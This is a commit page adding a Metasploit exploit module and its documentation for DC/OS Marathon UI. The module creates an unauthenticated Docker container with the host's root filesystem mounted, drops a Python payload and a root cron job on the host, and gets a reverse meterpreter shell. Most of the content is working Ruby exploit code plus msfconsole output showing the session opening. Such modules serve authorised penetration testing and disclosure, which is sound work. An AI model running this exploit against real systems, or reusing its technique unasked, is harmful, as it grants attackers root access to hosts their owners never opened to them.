Skip to content

Commit bac17a8

Browse files
author
Brent Cook
committed
Land rapid7#8053, Add DC/OS Marathon UI Exploit
2 parents 3ded57e + 9c93aae commit bac17a8

File tree

2 files changed

+387
-0
lines changed

2 files changed

+387
-0
lines changed

‎documentation/modules/exploit/linux/http/dcos_marathon.md

Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
# Vulnerable Application
2+
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
3+
a docker container with the '/' path mounted with read/write
4+
permissions on the host server that is running the docker container.
5+
As the docker container executes command as uid 0 it is honored
6+
by the host operating system allowing the attacker to edit/create
7+
files owed by root. This exploit abuses this to creates a cron job
8+
in the '/etc/cron.d/' path of the host server.
9+
10+
*Notes: The docker image must be a valid docker image from
11+
hub.docker.com. Further more the docker container will only
12+
deploy if there are resources available in the DC/OS
13+
14+
## DCOS
15+
This Exploit was tested with CentOS 7 as the host operating system for
16+
the 2 services of the DCOS cluster. With DCOS version 1.7 and 1.8, with
17+
Default 'custom' installation for on site premise setup. Only the Install
18+
part of the DCOS guide was completed, the system hardening and securing
19+
your cluster section where skipped. This is to represent a 'Default' install
20+
with a system admin conducting hasty deployments taking no thought about security.
21+
22+
23+
## To Setup Your Cluster
24+
I recommend doing a 'on-premise'/custom
25+
cluster. https://dcos.io/docs/1.8/administration/installing/custom/
26+
Create a virtual CentOS machine, install requirements base on the above
27+
guide.
28+
29+
```bash
30+
# The TLDR from the above guide
31+
sudo systemctl stop firewalld && sudo systemctl disable firewalld
32+
sudo yum install -y tar xz unzip curl ipset ntp
33+
sudo systemctl start ntpd
34+
sudo systemctl enable ntpd
35+
sudo sed -i s/SELINUX=enforcing/SELINUX=permissive/g /etc/selinux/config && \
36+
sudo groupadd nogroup && sudo reboot
37+
```
38+
39+
Install a supported version of docker on the CentOS systems
40+
https://dcos.io/docs/1.8/administration/installing/custom/system-requirements/install-docker-centos/
41+
42+
```bash
43+
# The TLDR of the above guide
44+
sudo yum -y remove docker docker-common container-selinux
45+
sudo yum -y remove docker-selinux
46+
sudo yum install -y yum-utils
47+
sudo yum-config-manager \
48+
--add-repo \
49+
https://docs.docker.com/engine/installation/linux/repo_files/centos/docker.repo
50+
sudo yum-config-manager --enable docker-testing
51+
sudo yum makecache fast
52+
sudo yum -y install docker-engine-1.11.2
53+
sudo systemctl start docker
54+
sudo systemctl enable docker
55+
sudo echo overlay > /etc/modules-load.d/overlay.conf
56+
sudo reboot
57+
```
58+
59+
Once the CentOS machine has rebooted, edit the systemctl
60+
service file for docker and change the ExecStart- line to
61+
`ExecStart=/usr/bin/docker daemon --storage-driver=overlay -H fd://`
62+
restart the docker service and verify it is running.
63+
lastly generate ssh rsa keys for authentication. And update the
64+
/etc/ssh/sshd_config file to support root login.
65+
66+
```bash
67+
ssh-keygen -t rsa -b 4096
68+
# Press enter until complete, DO NOT PUT A PASSWORD.
69+
cp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys
70+
cat ~/.ssh/id_rsa # save the output you will need it for later
71+
rm ~/.ssh/id_rsa # before doing this make sure you have saved a copy for later
72+
```
73+
74+
Shut down the CentOS vm, take a snapshot. (This will be your base)
75+
clone the VM 2 times. One will be DCOS-Master, the Other DCOS-Agent.
76+
Start the DCOS-Master and DCOS-Agent virtual machines You just cloned.
77+
Login and get their current IP address.
78+
* Note: I recommend giving them static IPs if you have further use for the cluster.
79+
80+
From here use another Linux machine with docker installed to finish
81+
the installation process. I used an Ubuntu machine with docker installed.
82+
83+
Follow the custom CLI guide for creating the required files in
84+
the genconf folder.
85+
https://dcos.io/docs/1.8/administration/installing/custom/cli/
86+
87+
Example genconf/config.yaml
88+
```
89+
---
90+
agent_list:
91+
- 192.168.0.10
92+
bootstrap_url: file:///opt/dcos_install_tmp
93+
cluster_name: DCOS
94+
exhibitor_storage_backend: static
95+
ip_detect_filename: /genconf/ip-detect
96+
master_discovery: static
97+
master_list:
98+
- 192.168.0.9
99+
process_timeout: 10000
100+
resolvers:
101+
- 8.8.8.8
102+
- 8.8.4.4
103+
ssh_port: 22
104+
ssh_user: root
105+
```
106+
Example genconf/ip-detect
107+
```bash
108+
#!/usr/bin/env bash
109+
set -o nounset -o errexit
110+
export PATH=/usr/sbin:/usr/bin:$PATH
111+
ip=$(ip addr show ens33)
112+
echo $( echo $ip | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
113+
```
114+
115+
place your id_rsa ssh key into the genconf file and rename the
116+
file to ssh_key and `chmod 0600 genconf/ssh_key`
117+
118+
Deploying the cluster
119+
in the folder containing the genconf folder do the following.
120+
NOTE: if following the cli install from DCOS itself, it will fail
121+
if you do --install-prereqs. It will install an unsupported version of
122+
docker.
123+
124+
```bash
125+
curl -O https://downloads.dcos.io/dcos/stable/dcos_generate_config.sh
126+
chmod +x dcos_generate_config.sh
127+
sudo ./dcos_generate_config.sh --genconf
128+
sudo ./dcos_generate_config.sh --preflight
129+
# If all preflight checks pass
130+
sudo ./dcos_generate_config.sh --deploy
131+
# get a cup of coffie
132+
# wait a minute or two after deploy completes
133+
sudo bash dcos_generate_config.sh --postflight
134+
```
135+
136+
If all is passing navigate to http://[master_ip]:8080/
137+
You should see the Marathon UI web application.
138+
139+
# Exploitation
140+
This module is designed for the attacker to leverage, creation of a
141+
docker container with out authentication through the DCOS Marathon UI
142+
to gain root access to the hosting server of the docker container
143+
in the DCOS cluster.
144+
145+
## Options
146+
- DOCKERIMAGE is the hub.docker.com docker container image you are wanting to have the DCOS Cluster to deploy for this exploit.
147+
- TARGETURI this is the path to make the Marathon UI web request to. By default this is /v2/apps
148+
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
149+
- CONTAINER_ID is optional if you want to have your container docker have a human readable name else it will be randomly generated
150+
151+
## Steps to exploit with module
152+
- [ ] Start msfconsole
153+
- [ ] use exploit/linux/http/dcos_marathon
154+
- [ ] Set the options appropriately and set VERBOSE to true
155+
- [ ] Verify it creates a docker container and it successfully runs
156+
- [ ] After a minute a session should be opened from the agent server
157+
158+
## Example Output
159+
```
160+
msf > use exploit/linux/http/dcos_marathon
161+
msf exploit(dcos_marathon) > set RHOST 192.168.0.9
162+
RHOST => 192.168.0.9
163+
msf exploit(dcos_marathon) > set payload python/meterpreter/reverse_tcp
164+
payload => python/meterpreter/reverse_tcp
165+
msf exploit(dcos_marathon) > set LHOST 192.168.0.100
166+
LHOST => 192.168.0.100
167+
msf exploit(dcos_marathon) > set verbose true
168+
verbose => true
169+
msf exploit(dcos_marathon) > check
170+
[*] 192.168.0.9:8080 The target appears to be vulnerable.
171+
msf exploit(dcos_marathon) > exploit
172+
173+
[*] Started reverse TCP handler on 192.168.0.100:4444
174+
[*] Setting container json request variables
175+
[*] Creating the docker container command
176+
[*] The docker container is created, waiting for it to deploy
177+
[*] Waiting up to 60 seconds for docker container to start
178+
[*] The docker container is running, removing it
179+
[*] Waiting for the cron job to run, can take up to 60 seconds
180+
[*] Sending stage (39690 bytes) to 192.168.0.10
181+
[*] Meterpreter session 1 opened (192.168.0.100:4444 -> 192.168.0.10:54468) at 2017-03-01 14:22:02 -0500
182+
[+] Deleted /etc/cron.d/FOWkTeZL
183+
[+] Deleted /tmp/TIWpOfUR
184+
185+
meterpreter > sysinfo
186+
Computer : localhost.localdomain
187+
OS : Linux 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016
188+
Architecture : x64
189+
System Language : en_US
190+
Meterpreter : python/linux
191+
meterpreter >
192+
```

‎modules/exploits/linux/http/dcos_marathon.rb

Lines changed: 195 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'DC/OS Marathon UI Docker Exploit',
15+
'Description' => %q{
16+
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
17+
a docker container with the '/' path mounted with read/write
18+
permissions on the host server that is running the docker container.
19+
As the docker container executes command as uid 0 it is honored
20+
by the host operating system allowing the attacker to edit/create
21+
files owed by root. This exploit abuses this to creates a cron job
22+
in the '/etc/cron.d/' path of the host server.
23+
24+
*Notes: The docker image must be a valid docker image from
25+
hub.docker.com. Further more the docker container will only
26+
deploy if there are resources available in the DC/OS cluster.
27+
},
28+
'Author' => 'Erik Daguerre',
29+
'License' => MSF_LICENSE,
30+
'References' => [
31+
[ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],
32+
],
33+
'Targets' => [
34+
[ 'Python', {
35+
'Platform' => 'python',
36+
'Arch' => ARCH_PYTHON,
37+
'Payload' => {
38+
'Compat' => {
39+
'ConnectionType' => 'reverse noconn none tunnel'
40+
}
41+
}
42+
}
43+
]
44+
],
45+
'DefaultOptions' => { 'WfsDelay' => 75 },
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Mar 03, 2017'))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(8080),
52+
OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),
53+
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
54+
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
55+
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
56+
])
57+
end
58+
59+
def get_apps
60+
res = send_request_raw({
61+
'method' => 'GET',
62+
'uri' => target_uri.path
63+
})
64+
return unless res and res.code == 200
65+
66+
# verify it is marathon ui, and is returning content-type json
67+
return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'
68+
apps = JSON.parse(res.body)
69+
70+
apps
71+
end
72+
73+
def del_container(container_id)
74+
res = send_request_raw({
75+
'method' => 'DELETE',
76+
'uri' => normalize_uri(target_uri.path, container_id)
77+
})
78+
return unless res and res.code == 200
79+
80+
res.code
81+
end
82+
83+
def make_container_id
84+
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
85+
86+
rand_text_alpha_lower(8)
87+
end
88+
89+
def make_cmd(mnt_path, cron_path, payload_path)
90+
vprint_status('Creating the docker container command')
91+
payload_data = nil
92+
echo_cron_path = mnt_path + cron_path
93+
echo_payload_path = mnt_path + payload_path
94+
95+
cron_command = "python #{payload_path}"
96+
payload_data = payload.raw
97+
98+
command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n"
99+
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n"
100+
command << "echo \"\" >> #{echo_cron_path}\n"
101+
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n"
102+
command << "sleep 120"
103+
104+
command
105+
end
106+
107+
def make_container(mnt_path, cron_path, payload_path, container_id)
108+
vprint_status('Setting container json request variables')
109+
container_data = {
110+
'cmd' => make_cmd(mnt_path, cron_path, payload_path),
111+
'cpus' => 1,
112+
'mem' => 128,
113+
'disk' => 0,
114+
'instances' => 1,
115+
'id' => container_id,
116+
'container' => {
117+
'docker' => {
118+
'image' => datastore['DOCKERIMAGE'],
119+
'network' => 'HOST',
120+
},
121+
'type' => 'DOCKER',
122+
'volumes' => [
123+
{
124+
'hostPath' => '/',
125+
'containerPath' => mnt_path,
126+
'mode' => 'RW'
127+
}
128+
],
129+
},
130+
'env' => {},
131+
'labels' => {}
132+
}
133+
134+
container_data
135+
end
136+
137+
def check
138+
return Exploit::CheckCode::Safe if get_apps.nil?
139+
140+
Exploit::CheckCode::Appears
141+
end
142+
143+
def exploit
144+
if get_apps.nil?
145+
fail_with(Failure::Unknown, 'Failed to connect to the targeturi')
146+
end
147+
# create required information to create json container information.
148+
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
149+
payload_path = '/tmp/' + rand_text_alpha(8)
150+
mnt_path = '/mnt/' + rand_text_alpha(8)
151+
container_id = make_container_id()
152+
153+
res = send_request_raw({
154+
'method' => 'POST',
155+
'uri' => target_uri.path,
156+
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
157+
})
158+
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201
159+
160+
print_status('The docker container is created, waiting for it to deploy')
161+
register_files_for_cleanup(cron_path, payload_path)
162+
sleep_time = 5
163+
wait_time = datastore['WAIT_TIMEOUT']
164+
deleted_container = false
165+
print_status("Waiting up to #{wait_time} seconds for docker container to start")
166+
167+
while wait_time > 0
168+
sleep(sleep_time)
169+
wait_time -= sleep_time
170+
apps_status = get_apps
171+
fail_with(Failure::Unknown, 'No apps returned') unless apps_status
172+
173+
apps_status['apps'].each do |app|
174+
next if app['id'] != "/#{container_id}"
175+
176+
if app['tasksRunning'] == 1
177+
print_status('The docker container is running, removing it')
178+
del_container(container_id)
179+
deleted_container = true
180+
wait_time = 0
181+
else
182+
vprint_status('The docker container is not yet running')
183+
end
184+
break
185+
end
186+
end
187+
188+
# If the docker container does not deploy remove it and fail out.
189+
unless deleted_container
190+
del_container(container_id)
191+
fail_with(Failure::Unknown, "The docker container failed to start")
192+
end
193+
print_status('Waiting for the cron job to run, can take up to 60 seconds')
194+
end
195+
end

0 commit comments

Comments
 (0)